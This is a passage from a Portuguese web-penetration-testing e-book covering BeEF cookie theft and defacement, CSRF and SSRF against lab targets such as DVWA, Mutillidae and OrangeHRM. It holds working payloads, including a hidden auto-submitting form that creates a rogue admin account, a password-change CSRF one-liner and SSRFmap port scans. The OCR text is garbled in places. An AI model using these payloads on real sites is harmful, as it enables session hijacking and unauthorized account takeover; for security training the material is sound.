An anonymous blog? Huh?

Figura 6.16: Inclusao do script hook.

Com a postagem feita, va até o painel de controle do BeEf e
note que um navegador foi automaticamente reconhecido. Esse
navegador ¢ o seu proprio Kali, pois, ao efetuar o ataque e carregar
a pagina, vocé foi o primeiro conectado.

Hooked Browsers
4 (—] Online Browsers
4{510.00.1
@ O & ? 10002
|_] Offline Browsers

Figura 6.17: Identificagdo de tecnologias usadas com o BeEF.
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S6 nesse primeiro momento, vocé ja consegue ter uma nogao
do poder da ferramenta. Ela foi capaz de, em um primeiro
momento, identificar o IP, o navegador, o sistema operacional
usado e, até mesmo, que vocé esta em uma maquina virtual. Isso é
apenas o comego, veremos que essa ferramenta podera nos ajudar
muito mais em nossos ataques.

Realizando sequestro de sessio com BeEF

Uma das agdes possiveis quando utilizamos o BeEF ¢ a
obten¢do dos cookies de sessio do usudrio. Quando obtemos o
cookie de sessio do usudrio, somos capazes de assumir a sua
sessdo, mas sem a necessidade de realizarmos o processo de login
com suas credenciais.

Fazer isso com o BeEF é muito facil, primeiro clique sobre o
navegador da vitima e clique sobre a aba current Browser. Apds
isso, vocé verd novas abas, entdo clique sobre a aba commands e
visualize as possibilidades.

Na aba commands, vocé vera um conjunto de possibilidades
que aparecem em uma arvore. Os nomes sdo bem intuitivos. Para
conseguir o cookie da sessio, vd para dentro do diretdrio

Browser/Hooked Domian , clique em execute e depois em get
Cookie, para executa-lo.

Module Tree Module Results History Command results —
SEaTch e ik label 1 Mon Mar 08 2021 19:50:04 GMT-0
4 i) Browser (56) 0 2021-03-08 command 1 data: cockie=showhints=1; SEI:LIFII}'_IE\-.’E\
. 19:50 tz_offset=-18000;
= Hmk_m ZIIEOED, divi et jotto,phpbib2,redmine;
Fingerprint Ajax acgroupswithpersist=nada;
Get Cookie PHPSESSID=ft2otTkcceodtdlsbocobleudql;

Get Form Values BEEFHOOK=85T Xvky7DxNBokkujk30gz HfIBMreizg

Get Page HREFs

Figura 6.18: Obtendo cookie do usudrio.
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Em seu BeEF deve aparecer uma informagao muito similar a
exposta na figura anterior. Com isso, basta vocé colocar as
informagdes no seu navegador e sequestrar a sessao do usuario.

Defacement de paginas com BeEF

O Defacement, ou uma redugdo deface, ¢ o ato de pichar uma
pagina como consequéncia da explora¢ao de uma vulnerabilidade.
E uma fungdo interessante cujo resultado pode ser adicionado ao
relatorio final de vulnerabilidades encontradas no sistema. Vocé
mostrara de um modo muito claro que existe a possibilidade de
modificar as paginas em seus ataques. Por fazer isso no BeEF,
existe a funcdo de deface, que geralmente chama atengdo por
explorar o XSS dessa forma bem visual.

Dentro do BeEF, podemos fazer isso de forma muito intuitiva,
basta usar a caixa de pesquisa para procurar o que é possivel fazer.
Para esse caso, procure por "deface" e vocé achara. Apds isso,
selecione a opgdo Replace Content e substitua o conteido da
pagina alterando os dados pedidos a direita. Entdo, basta clicar em
execute e seu deface sera feito na pagina.

Hooked Browsers
.4 =5 Online Browsers
45910001 Detais || Logs | Commands || Proxy || XssRays | Network

Logs Zombies Current Browser

1 =
@ 5 & 710002 Module Tree Module Results History Replace Content (Deface)
(£ Offiine Browsers
defa i.. | date label Description: Overwrite the page, title ¢
4 =5 Browser (2) 0 2021-03-08 command 1 shortcut icon on the hook

4 =3 Hooked Domain (2) L

Id: 52
Replace Component (Deface) || 1 2021-03-08 command 2
20:06

Replace Content (Deface) Mew Title: BeEF - The Brov

e New Favicen: | hitp:10.0.0.0:30(
Hook Default Browser P

@ Detect Default Browser Deface Gasa do codign

Content:

Figura 6.19: Defacement.
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Observagdes sobre o BeEF

Nos comandos disponiveis no BeEF, vocé provavelmente
notou as cores. Seus significados estdo a seguir:

Verde: funciona contra o alvo; invisivel para o usuario.

Laranja: funciona contra o alvo; visivel para o usuario.

Cinza: ainda deve ser verificado em relagdo ao alvo.
Vermelho: ndo funciona contra o alvo.

Observando esses fatos, vocé pode dispor de uma variedade
imensa de agdes, podendo incluir, até mesmo, a exploragio do
préprio navegador, ganhando o controle do computador do
usudrio. Claro, algumas agdes nem sempre serdo possiveis, pois
dependem de diversas variaveis. No entanto, vocé podera testa-las
contra alvos e navegadores diferentes a fim de conhecer o que o
BeEF pode lhe oferecer.

Consideragdes finais do capitulo

Neste capitulo, aprendemos uma vulnerabilidade que muitas
vezes é subestimada, mas, como vimos, essa falha nao ¢é trivial. O
ataque de XSS tem como alvo o usudrio e pode trazer diversos
danos caso as equipes de desenvolvimento nio se preocupem em
resguardar a aplicagdo em relagao a essa falha. Com o BeEF, vimos
que podemos aumentar muito o nosso poder de manipulagao das
atividades do navegador do usudrio com uma grande facilidade,
gerando dados convincentes para serem colocados nos relatorios
de seguranga.
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CapPiTuLO 7

REALIZANDO ACOES EM
NOME DE CLIENTE E DE
SERVIDOR: CSRF & SSRF

Neste capitulo, aprenderemos sobre duas vulnerabilidades bem
conhecidas na area de testes de invasdo, que proporcionam uma
imensa variedade de ataques. As duas tém algo em comum, que é a
falsificacdo de solicitacdo, pois nos dois casos seremos capazes de
forjar solicitagdes de cliente ou de servidor.

O ataque de cross-site request forgery (CSRF ou XSRF) visa
explorar uma falha da aplicagdo web que permite uma requisi¢do
entre dominios. Isso significa que o cliente que acessar um site
qualquer, que tenha a exploracdo, pode executar um ataque no
sistema vulnerdvel sem saber, jd que o navegador web pode enviar
essa requisi¢do automaticamente via JavaScript.

Ja o server-side request forgery (SSRF) é uma vulnerabilidade
que permite que o invasor realize requisi¢des a terceiros em nome
do proprio servidor. Nos topicos a seguir, vamos descrever alguns
exemplos comuns e explicar como encontrar e explorar essas
vulnerabilidades.
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7.1 CARACTERISTICAS DO PROTOCOLO
HTTP QUE PERMITEM CSRF

O protocolo HTTP conta com algumas caracteristicas que sao
usadas como base para o ataque CSRF. Vamos entender esses
aspectos antes de partir para a pratica desse ataque. O ataque CSRF
permite que um usudrio execute agdes no servidor sem saber que
isso foi feito em seu nome. Isso é possivel por meio de JavaScript,
ja que ele permite que o navegador faga requisicdes a outros
dominios de uma forma abstraida. Ao fazer isso, o cookie de
autenticagdo do usudrio é levado junto, sendo assim, qualquer site
na internet pode executar uma a¢do indesejada em nome do
usudrio autenticado.

Para qualquer requisi¢do que é feita a um site, o navegador
automaticamente envia os seus dados de cabecalho. Um desses
dados é o cookie, pois ele permite que o site tenha controle sobre
sua autenticacdo. Abusando dessas caracteristicas, um site pode
solicitar que o navegador faga requisi¢oes a outros dominios e
mesmo que nao seja o usudrio que diretamente tenha feito, os
dados de cabecalhos seriam enviados da mesma forma. Vejamos
um exemplo:

Primeiro, faca um login na aplicagio do mutillidae em
http://10.0.0.1/mutillidae/index.php?page=login.php. Para fazer
esse login, use a credencial admin/admin . Apos isso, crie no seu
computador um arquivo chamado csrf.html e escreva dentro
dele 0 seguinte conteudo: <img
src='http://10.0.0.1/mutillidae/index.php' /> .

Como vocé pode perceber, o contetido que estd dentro da tag
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img ndo corresponde a uma figura, mas o seu navegador so6
descobrira isso quando requisitar a URL e obtiver a resposta. Esse
exemplo ¢é o suficiente para demonstrar que na requisicao HTTP,
por essa suposta figura, o seu cookie vai junto. Configure o Burp
Suite e abra o arquivo csrf.html no navegador. Vocé vera que a
requisicao é feita e todos os seus dados sao transmitidos nela.

GET /mutillidae/index. php HTTR/1.1

Hest: 10.08.8.1

User-Agent: Mozilla/5.0 (¥11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/G68.8

Accept: image/webp, */*

Accept-Language: en-US, en; FB.5

Accept-Encoding: gzip, deflate

Connection: close

% [ookie: showhints=1; username=admin; uid=1l; security level=8; tz offset=-18000; acopendivids=
swingset, jotto, phpbb2, redmine; acgroupswithpersist=nada; PHPSESSID=ft2ot7kccecdtdishbcoffeudal; BEEFHOOK=
85THvkyTDxNBokku] k30gzHf IEMreizoRbssmbSP4Hzhi nJ0AAFGGORIL Y gNOdyanidWEErZsdaiTsCy; dbx-postmeta=
grabit=0- 1- 2- 3- 4- 5- 6-Gadvancedstuff=0- 1- 2-

- Y AR

0 -

Figura 7.1: Requisi¢ao com cookie.

Essa é uma caracteristica do protocolo HTTP, cada requisi¢ao a
um dominio leva consigo todos os cabegalhos que sdo referentes ao
sistema. Essa é a caracteristica que permite que um atacante induza
o navegador do usudrio a realizar uma agdo em nome dele sem que
se perceba. Os tdépicos a seguir mostrardo como essa
vulnerabilidade pode ser explorada.

7.2 ENTENDENDO O CSRF

O ataque de CSRF geralmente vem acompanhado de um
ataque de engenharia social, porque, dessa forma, o usuario alvo
clicaria em um link contaminado e isso viabilizaria o ataque. No
entanto, também ¢é possivel obter o mesmo efeito ao se combinar
ataques distintos. Uma combina¢do muito usada é a do CSRF com
o XSS armazenado, pois assim o usudrio seria alvo do CSRF ao
acessar um site confidvel que foi alvo do ataque de XSS
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armazenado.

Mas mesmo existindo a possibilidade de combinagido de
ataques, a engenharia social se torna mais usual pela sua
simplicidade, ja que enviar um e-mail é muito mais simples do que
encontrar uma vulnerabilidade XSS em um site confidvel e de
possivel acesso voluntario do usudrio alvo. No modo puro, o
ataque de CSRF pode ser resumido na figura abaixo.

1. O atacante desenvolve o ataque

- que pode ser acessado via URL

Atacante
2. 0 atacante envia a
URLmaliciosaa um 4. 0 navegador solicita
usuario autenticado no da URL maliciosa o
sistema alvo contetido site-do-hacker.com
5. O site malicioso devolve um
javascript que envia dados
. para outro dominio
- 3. O usudrio acessa a

L. URL maliciosa
Vitima Navegador da Vitima

6. O navegador faz o
envio dos dados

cookie do usuirio @

acompanhado do
site-alvo.com

7. O site aceita a requisicio e a
executa se o usuario estiver
autenticado

Figura 7.2: Fluxo exploragao do CSRF.

Em primeiro lugar, o atacante deve procurar na aplicagao alvo
um formuldrio ou uma agdo que seja vulneravel ao ataque CSRF.
Isso pode ser identificado ao fazer o mesmo procedimento que
fizemos com o csrf.html , s6 que com o link do formulario da
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aplicagdo alvo. Caso funcione o link para o formulario, ele deve ser
manipulado pelo atacante e enviado para o clique de um usudrio, o
qual, ao acessar o link, sera uma vitima.

Quando o usudrio vitima acessa o link, o ataque CSRF pode
tomar dois rumos a depender de a exploragdo ser por método GET
ou POST. Caso seja por GET, os itens 4 e 5 da figura apresentada
podem ser descartados ja que ndo sao utilizados. Isso porque, em
casos de GET, a requisi¢ao para o alvo pode ser feita diretamente.
Em casos de POST, precisaremos considerar sempre o fluxo
completo da figura.

Nos proximos tdpicos, faremos na pratica a exploracao nos
dois casos e poderemos entender certamente o fluxo. Para ambos
os casos, levamos em consideracdo que o usudrio que clicard no
link estd autenticado no sistema alvo e por causa disso o sistema
sera afetado.

7.3 CSRF EM PARAMETROS GET

E muito comum que as aplicagbes web utilizem algumas
funcoes que trabalham com paridmetros enviados via método GET.
Esse fato é completamente normal, no entanto nio é recomendavel
que dados sensiveis sejam enviados via GET, pois ativos que estdo
no meio do caminho entre o cliente e o servidor podem facilmente
tomar conhecimento desses parametros. Apesar disso, alguns
sistemas web nao seguem essa recomendagdo e caso esse mesmo
sistema seja também vulneravel a CSRF, ele estard correndo um
alto risco de sofrer um ataque com consequéncias consideraveis.

Para exemplificar esse caso, retornemos ao sistema DVWA,

7.3 CSRF EM PARAMETROS GET 127
E-book gerado especialmente para Junior Andreucci - acer_pcl23@outlook.com



onde, apds o login feito, temos um menu chamado CSRF
(http://10.0.0.1/dvwa/vulnerabilities/csrf/). Nesse menu, hda uma
funcionalidade de troca de senhas que é vulneravel a CSRF. Para
entender o funcionamento desse menu, vamos trocar a senha do
nosso usudrio para 123456.

Change your admin password:

New password:
LIl Ll 1]

Confirm new password:

Change
Password Changed

Figura 7.3: Troca de senha do usudrio para 123456.

Como pode ser visto na figura anterior, a senha foi trocada
com sucesso. Caso queira verificar, pode até mesmo realizar o
login novamente. No entanto, o que chama mais a atencao ndo é a
funcionalidade em si, mas a forma como ela foi implementada.
Caso ainda nao tenha notado, olhe a URL apés o clique no botéo
change: http://10.0.0.1/dvwa/vulnerabilities/csrf/?
password_new=123456&password_conf=123456&Change=Chang
e#.

Essa URL, para trocar a senha, sequer pede o conhecimento da
senha antiga. Protecao contra CSRF? Muito menos! Vocé consegue
me dizer o que acontecera com a sua conta se vocé clicar nesse link
apresentado no ultimo paragrafo sem querer e estiver logado nela
no momento do clique? Pois é, qualquer pessoa que acessar esse
link a0 mesmo tempo que estiver logado no site tera a sua senha

128 7.3 CSRF EM PARAMETROS GET
E-book gerado especialmente para Junior Andreucci - acer_pcl23@outlook.com


http://10.0.0.1/dvwa/vulnerabilities/csrf/
http://10.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change

trocada. O ataque de CSRF em funcionalidades que usam GET
abusa justamente desse conceito. Com isso, basta fazer com que o
usudrio acesse esse link de alguma maneira. Vamos ver alguns
exemplos?

Suponha a existéncia do cliente de uma aplicagdo como essa.
Esse mesmo cliente utiliza a internet para diversas coisas, como é
6bvio. Agora, olhando o cddigo a seguir, diga o que vai acontecer
caso o cliente venha a acessar uma pagina com o céddigo mostrado,
estando ao mesmo tempo logado na aplicagdo vulneravel.
window.location.href = "http://10.0.0.1/dvwa/vulnerabilities/csrf
/?password_new=123456&password_conf=123456&Change=Change";

Faga vocé mesmo a experiéncia: abra o seu navegador em uma
pagina aleatoria e tecle F12 para abrir o inspetor de elementos.
Nele, clique na aba console e cole o c6digo acima, executando-o.
Vocé sera direcionado para a mesma pagina e agora com a senha

SR
® O inspector [ Console [ Debugger {} StyleEditor (D Performance #k Memory T Network [ Storage  Fr Accessibility
)

TS R R EEF S5 XHR Requests

ord fi reses an insecure (http://) page. This is a security risk that

allows user login credentials to be stolen. [Learn Morel

» window.location.href = "hitp://10..0.1/dvwa/vulnerabilities/csrT/7password new=123456&password_conf=123456&Change=Change”;

Figura 7.4: Senha trocada por CSRF.

Nao esqueca que para realizar essa experiéncia com sucesso
vocé deve estar logado na aplicagaio DVWA.

7.4 CSRF EM PARAMETROS POST

No tépico anterior, vimos que explorar o CSRF em
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funcionalidades que trabalham com GET possui pouca
complexidade e nao ¢ necessirio muito esfor¢o. No entanto,
realizar a mesma operagdo com o método POST nos exigira um
pouco mais de sofisticagao.

O navegador ndo envia uma requisicdo POST simplesmente
por meio do clique em um link. O navegador sé vai fazer esse tipo
de requisicio por meio da ativacio da funcdo de envio de
formularios HTML. Isso mesmo, vamos precisar desenvolver um
cédigo HTML que faga o envio do formulario.

Vamos entdo partir para a pratica e entender a logica desse
ataque. Para isso, acesse a seguinte URL:
http://10.0.0.1/orangehrm/login.php. Nela, faca o login com a
senha admin/admin . Com isso, haverd a simulacao de um usuario
admin, que sera o alvo de um ataque CSRF.

Ja logado no sistema, acesse
http://10.0.0.1/orangehrm/index.php?
uniqcode=USR&menu_no=1&submenutop=BR&menu_no_top=e
im&isAdmin=Yes, que ¢ a pagina onde o admin cria novos
usudrios administradores, e clique em add . A figura a seguir
exibira o formuldrio da pagina, esse serd o formuldrio alvo do
ataque.

130 7.4 CSRF EM PARAMETROS POST
E-book gerado especialmente para Junior Andreucci - acer_pcl23@outlook.com


http://10.0.0.1/orangehrm/login.php
http://10.0.0.1/orangehrm/index.php?uniqcode=USR&menu_no=1&submenutop=BR&menu_no_top=eim&isAdmin=Yes

* User Name | hacker |

* Password | [IITTT] | * Confirm Password | LITTTL |

Status Employee | | E
* Admin User =
L

H Save & Clear

Fields marked with an asterisk * are required.

Figura 7.5: Formulario de criagao de usuarios.

Na figura acima estd o formuldrio preenchido com as
credenciais hacker/hacker . Preencha o formuldrio como na
figura e clique no botao save, mas, antes disso, ndo se esqueca de
interceptar a requisi¢do com o Burp Suite.

POST forangshrm/lib/cent rollers/Cent ral Contraller. php?uniqeode=USREisAdnireYes HTTR/L.1
Host: 10.0.0.1
User-Agent: Mozillass.® (X11; Linux x86_64; rv:G8.0) Gecko /20100101 Firefox/68.0
Accept: text/html,application/html+eml, spplication/xml; cF0. 9, */%; =0. 8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.0. 1/orangshrn/lib/controllers/Central Cont raller. php?uniccode=USR&capturenodes addmodegisAdmin=Yes
Content-Type: application/x-wiw-form-urlencodsd
Content -Length: 182
Connection: close
11 Cookie: security_level=0; tz_offset=-12000; EEEFHOOK=
E5TXvkyTDxNBokkuj k30czHF IEMreizoRbssmbSP4Hzh] n DAAFGEORSLYqNOdysnidWeErIsdsiTsCy; dhx-postmets=
grabit=0-,1-, 2-, 3-, 4-,5-, 6-advancedstuff=0-,1-, 2-; PHPSESSID=6b0vlngTsrfcesSsdBidlnkbas; scopendivids
swingset, jotto, phpbb2, rednine; acgroupswithpersist=rads; JSESSIONID=DC1FFCEETE2828EEFE12CEEDOOFEOTAT; Loggedir=True
12 Upgrade-Insecure-Requests: 1
13
14 lsqlState=NewRecordstxtUserName=hacker&txtUse rPassword=hacker&t xtUse rConf irmPasswords hackericmbUserStatus=Enableds
txtUserEmpIl= éembUserEmpID= cmblserGroupIi=USGa01&chklserIsAdniret rus

U e W

-
Bw o

Figura 7.6: Requisi¢ao para criagdo de usudrios.

Com a requisicdo interceptada, temos todos os dados
necessarios para montar o formuldrio que criard um usudrio
admin sem que o usudrio admin verdadeiro saiba que isso ocorreu.
Como ja vimos no capitulo em que exploramos XSS, existe uma
ferramenta que consegue montar um formulario HTML com base
em uma requisicilo HTTP, chamada CSRF PoC Generator, e que
pode ser acessada pelo link: https://security.love/CSRF-PoC-
Genorator/. Acesse essa ferramenta e copie os dados para ela,
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conforme a figura a seguir. Logo apds, clique em Download CSRF
PoCl, para baixar o c6digo HTML.

CSRF PoC Generator

Method:

POST -
Encoding

application/x-www-form-urlencoded ]
Data:

salState-NewRecordatxUserName-hackers
txiUserPassword-hacker&txtUserConfirmPassword-hackerd
embUserStatus-EnabledsixtUserEmpID-scmbUserEmpID=5
cmhlserGrounlD=USGNN1 &chkllserlsAdmin=true

URI:

i
http:///orangehrm/lib/controllers/CentralController.php?unigcode=
Download CSRF PoC!

Figura 7.7: CSRF PoC Generator.

Apos isso, vocé fard o download de um arquivo HTML com o
codigo da requisi¢do convertido para um formulério que também
acionard a funcionalidade. Como podemos perceber ao abrir o
arquivo, ele nido estd bem formatado. Como dica, use o site
https://www.freeformatter.com/html-formatter.html para formatar
o arquivo HTML e deixd-lo mais agradavel para manipulagoes
futuras.

Precisamos adicionar ao arquivo a tag <form> e um cddigo

JavaScript que acione rapidamente esse formulario, para que o
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usuario alvo, ao acessar a pagina, ja seja redirecionado para o site
com a vulnerabilidade e o CSRF seja feito com sucesso. Segue o
cddigo JavasScript que deve ser adicionado no arquivo: <script>
document.forms[0].submit(); </script> . Além disso, esse
formulario precisa ser invisivel para a nossa vitima, entdo vamos

substituir todos os valores type="text" por type="hidden" .

Com isso, o cddigo acionard o formuldrio assim que toda
pagina for carregada, pois estd ao final dele. Algo desse tipo é quase
sempre imperceptivel ao usudrio comum. Teremos o seguinte
cddigo:
<html>

<form enctype="application/x-www-form-urlencoded" method="POST

action="http://10.0.0.1/0orangehrm/1lib/controllers/CentralContr

oller.php?uniqcode=USR&isAdmin=Yes">

<input type="hidden" value="NewRecord" name="sglState">

<input type="hidden" value="hacker" name="txtUserName'">

<input type="hidden" value="hacker" name="txtUserPassword
>

<input type="hidden" value="hacker" name="txtUserConfirmP
assword">

<input type="hidden" value="Enabled" name="cmbUserStatus":

<input type="hidden" value="" name="txtUserEmpID">

<input type="hidden" value="" name="cmbUserEmpID">

<input type="hidden" value="USGOO1l" name="cmbUserGroupID":

<input type="hidden" value="true" name="chkUserIsAdmin">

</form>

<script> document.forms[0].submit(); </script> </html>

Como vocé pode ter percebido, o codigo deve estar mais
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enxuto do que o seu, isso porque dessa forma fica visualmente
mais agradavel e facil de entender e modificar. Para deixa-lo assim,
retirei todas as tags referentes as tabelas e também ao botdo de
enviar, pois elas ndo serdo necessdrias, ja que o envio do
formulario sera por funcao JavaScript.

Agora, precisamos adicionar esse conteido a uma pagina
HTML, a um site que a vitima possa acessar e pronto. Quando a
vitima acessar o conteido a0 mesmo tempo em que estiver logada
como administrador do site, o nosso usudrio hacker sera criado e
poderemos logar com ele.

Para testar isso, autentique-se como admin no orangehrm e
acesse o arquivo HTML com o coédigo de acionamento do
formuldrio. Vocé verd a funcionalidade ser ativada, e o usudrio serd
criado, conforme a figura adiante.

Users : HR Admin Users

3 add ¥ Delete

Search
Search By: | _calact- « Search For:
User ID & User Name =
USRO01 admin
USRO04 hacker

Figura 7.8: Usudrio hacker criado.
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7.5 ENTENDENDO O ATAQUE DE SSRF

O SSRF ¢ muito similar ao CSRF, no entanto o cliente ndo esta
envolvido, ja que é o servidor propriamente dito que sera induzido
a fazer uma requisi¢do. O SSRF é uma vulnerabilidade que pode
existir em aplicacdes web e permite que um invasor induza a
aplicacdo, no lado do servidor, a fazer solicitagbes HTTP, ou
utilizando outros protocolos, para um dominio arbitrario
qualquer.

Em um ataque SSRF tipico, o atacante pode induzir a aplica¢ao
web a estabelecer uma conexdo com servigos internos dentro da
propria infraestrutura da organizagao, sem que essa conexao tenha
sido prevista anteriormente. Em outros casos, com o uso dessa
vulnerabilidade, pode-se forgar o servidor a se conectar com
sistemas externos arbitrarios, potencialmente enviando dados
confidenciais, como credenciais de autorizacdo, arquivos fontes,
logs etc.

Com isso, ja podemos notar que varios impactos estdo
atrelados a explora¢ao dessa vulnerabilidade. Para entendermos
um pouco mais como essa vulnerabilidade pode ser utilizada por
um atacante para exploracdo de um sistema, vamos levar em
consideragdo a existéncia de um sistema de shopping, conforme
https://portswigger.net/web-security/ssrf.

Considere que essa aplicagdo possui um servico de catdlogo de
produtos que permite ao usudrio ver se um item esta em estoque
em uma determinada loja dentro desse shopping. Para fornecer as
informagoes de estoque das lojas aos clientes, a aplicagdo consulta
diversos servicos de APIs REST. Portanto, quando um usuario
visualiza o status do estoque de um item, o navegador faz uma
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solicitagdo como essa:
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fchecar$3Fprodutold33DE%26loja

Figura 7.9: Solicitagdo ao estoque.

Isso faz com que o servidor realize uma solicitagaio a URL
especificada e recupere o status do estoque, retornando os dados
para o usudrio. Nessa situagdo, um usudrio mal-intencionado
poderia modificar a solicitagdo, com o Burp Suite, para especificar
uma URL do localhost, ou seja, para acessar um recurso nao
previsto no proprio servidor. Note a requisi¢ao a seguir:

POST /produtoc/estogue HTTP/1.0
Content-Type: application/z-www-form-urlencoded

Content-Length: 121

APIDeEstoque=http://localhost/admin

Figura 7.10: Solicitagdo ao estoque com manipulagao.

Com a requisi¢do feita como na figura, o servidor buscara o
contetdo da URL /admin e o retornard ao usudrio mal-
intencionado que solicitou. Agora, é claro, o invasor poderia, se
tivesse desbloqueado, simplesmente visitar a URL  /admin
diretamente. Mas a funcionalidade administrativa ¢ normalmente
restringida por alguns fatores, como IPs e autenticagoes.

Porém, até mesmo para os casos em que esse acesso direto é

permitido para uma autenticagdo, o atacante que simplesmente
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visita a URL diretamente pode encontrar barreiras de seguranga e,
por consequéncia, nao verd nada de interesse. J4 quando a
solicitacdo para a URL /admin vem da propria maquina local, os
controles de acesso normais sio geralmente ignorados, podendo
conceder um acesso mais livre para o ataque.

Agora com um conhecimento superficial sobre a
vulnerabilidade de SSRF, podemos ir para a pratica e massificar o
aprendizado do conteddo. Para explorar essa vulnerabilidade,
também utilizaremos as aplicacdbes disponiveis na maquina
OWASP BWA.

7.6 ATAQUE DE SSRF EM INCORPORACAO
DE ARQUIVOS

Em ataques de inclusdo remota de arquivos, ou RFI, visto em
capitulos anteriores, a aplicagdo incorpora um arquivo remoto por
meio de sua URL. Isso permite modulariza¢do, ja que se pode
incluir um novo arquivo para compor a légica da aplica¢ao. No
entanto, isso também permite que usemos o servidor para fazer
requisi¢oes remotas e até mesmo locais.

Para exemplificar essa situacdo, vamos utilizar o sistema
Mutillidae, que possui essa vulnerabilidade. Quando vocé vir essa
exploragdo, vai se surpreender com a facilidade e eficacia.

Como vocé deve saber, ndo é possivel, normalmente, acessar os
servicos que estdo apenas em localhost no servidor. Caso vocé use
localhost para acessar o servidor remoto, vocé acessard o seu
proprio computador, porque no seu contexto localhost é a sua

maquina.
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No entanto, quando se envia para o servidor uma URL de
localhost, como valor do parametro “page”, o servidor fornece o
localhost dele para o solicitante. Para verificar essa situagao, acesse
a seguinte URL: http://10.0.0.1/mutillidae/index.php?
page=http://localhost.

owaspbwa
OWASP Broken Web Applications Project

Version 1.2

This is the VM for the Open Web Application Security Project (OWASP) Broken Web Applications project. It contains many, very
vulnerable web applications, which are listed below. More information about this project can be found in the project User Guide and
Home Page.

For details about the known vulnerabilities in these applications, see https://sourceforge.net/p/owaspbwa/tickets/?limit=999&
sort= severitv+asc.

Figura 7.11: Acessando localhost do servidor.

Como podemos ver na figura, o localhost acessado foi o do
servidor. Isso permitira transpassar bloqueios e ativos de
seguranga, como o firewall, que bloquearia acesso externo a uma
URL especifica. Com isso, podemos também acessar URL das
redes internas, mas esse é um caso que ndo pode ser
experimentado por nos, porque ndo temos outras redes conectadas
ao OWASP BWA. No entanto, em um ambiente de produgio real,

existe uma grande chance de existir essa situagdo.

7.7 AUTOMATIZANDO A EXPLORACAO DE
SSRF COM SSRFMAP

Com a ferramenta SSRFmap ¢é possivel automatizar o processo
de localizagdo e de exploragdo da vulnerabilidade de SSRF. Para
fazer o download dessa ferramenta no seu Kali, vocé podera usar o
seguinte comando: git clone
https://github.com/swisskyrepo/SSRFmap . Depois do
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download, vejamos um exemplo de uso dessa ferramenta. Para
isso, devemos encontrar uma pagina vulneravel aos ataques de
SSRF e que gostariamos de automatizar a fase de exploragdo com a
ferramenta SSRFMap.

Para exemplificar o uso da ferramenta, vamos entrar no
sistema Mutillidae e explorar o mesmo parametro. Para isso, acesse
http://10.0.0.1/mutillidae/index.php?page=home.php. Essa
vulnerabilidade é de RFI, como ja dito, no entanto vamos usa-la
para a nossa exploracao de SSRF.

Para iniciar o acesso ao diretorio da ferramenta, execute pip
install -r requirements.txt caso ndo tenha as dependéncias
das ferramentas pré-instaladas. Apos isso, nao esqueca de ativar a
ferramenta do Burp Suite para interceptar a URL a ser explorada.
Apds a interceptagao da requisicdo no burp, clique com o botdo
esquerdo do mouse e va em copy to file para salvar a requisi¢io em
um arquivo chamado multi .

ey e e e ST

Host: 10.8.08.1
User-Agent: Mozilla/5. 0 (¥11l, Linux x86_&4; rv:68.0) Gecko, | [
Accept: text/html, application/xhtml+xml, application/xml; =g Lnnkln.l @ J l @ J l ﬁ
Accept-Language: en-US, en; c=0.5
Ahtupl trkuding Bein defbave
Conmection: close (i 10001 & cor
Cookie: showhint==1; security level=0; tz offset=-12000; EH 4\_/
85THvkyTDxNBokkujk30gzHf IEBMreizgRbssmbSP4Hzhi nJOAAFGGORSILY:
grabit=0- 1- 2- 3- 4- 5- 6-Gadvancedstuff=0- 1- 2-; PHPSESY
swingset, jotto, phpbb2, redmine; acgroupswithpersist=nada File Name: | ol

Upgrade-Insecure-Requests: 1 PR
10 Files of Type: | AllFiles vJ

AW E oW e

o -

w

= ] Save Cancel
@ | = || + || = | |Tweasea l—J ;J

Figura 7.12: Requisi¢ao para usar no SSRFmap.

Agora, na ferramenta SSRFmap, basta executar o seguinte
comando passando o arquivo da requisi¢do, com -r , 0 parimetro
da requisi¢do que sera explorado, com -p , e o que se deseja que a
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ferramenta faga, com -m . A lista de médulos que podem ser
utilizados com a fun¢do -m pode ser encontrada no GitHub do
desenvolvedor em https://github.com/swisskyrepo/SSRFmap. Para
fins de exemplo, segue o comando usado para mapear portas
abertas na aplicagdo por meio da ferramenta e o seu resultado.

python3 ssrfmap.py -r multi -p page -m portscan

o
N //\ // 23]
\ /

[INFO]: Module portscan launched !

: .8.0.1 Found
Found
Found
Found
Found
Found
Found
Found
ort n°5033

0
0.1
.0.1
.8.1
.0.1
0.1
8.1
.0.1

por

Checking

Figura 7.13: Exploragdo com SSRFmap.

Experimente utilizar outros modulos, também procure por
outros pontos dentro das aplicagdes do OWASP BWA para treinar
suas habilidades. O SSRF surte efeitos valorosos em rela¢io a
exploragdo de vulnerabilidades e com certeza vale a pena dominar
esses conceitos.

Consideracoes finais do capitulo

No decorrer deste capitulo, vimos duas vulnerabilidades que
trabalham com manipulagio da requisicdo. O CSRF usa as
requisicdes de clientes de forma nio autorizada para atacar o
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sistema no servidor, e o SSRF usa uma falha do servidor em relagdo
a formulagao de suas requisi¢des. A grande diferenca entre as duas
vulnerabilidades é esta: no CSRF a requisi¢ao manipulada é do
usudrio e no SSRF a requisicao é do servidor. Com isso,
concluimos mais um importante capitulo e estamos prontos para
avancar mais ainda em nosso aprendizado sobre exploracao de
vulnerabilidades em aplicagdes web.
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CapiTuLO 8

EXPLORANDO FALHAS DE
AUTENTICACAO,
GERENCIAMENTO DE
SESSAO E AUTORIZACAO

A autenticagdo é o processo de homologar uma conexao, ou
seja, constatar que o autor das conexdes realmente ¢ quem ele diz
que é. No contexto de aplicagdes web, a autenticacao é comumente
realizada enviando um nome de usudrio e uma senha. Ja a
autorizagdo, geralmente, tem a ver com o gerenciamento da sessao,
que é o processo pelo qual um servidor mantém o estado de um
usuario autenticado por varias interagdes. Isso é necessario para
que um servidor nao precise realizar a autenticacdo a todo
momento e atrele um conjunto de autorizagdes a cada uma dessas
sessoes.

As credenciais para autenticagio e as sessOes devem ser
exclusivas de cada usudrio. Caso esses fatores falhem, um usudrio
poderd executar agdes como sendo outro e assim explorar um
conjunto de permissoes diferentes. Essas permissoes podem causar
diversos impactos negativos no sistema e inclusive conceder a um

agente ndo autorizado informagdes confidenciais. Neste capitulo,
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vamos explorar alguns dos ataques mais comuns envolvendo esses
fatos tao criticos para as aplicagdes web.

81 ATAQUE DE FORCA BRUTA E
DICIONARIO

A autenticagdo ¢ o processo que, geralmente, fornece a barreira
da prote¢do mais eficaz contra um acesso ndo autorizado. No
entanto, caso um invasor venha a quebrar uma funcio de
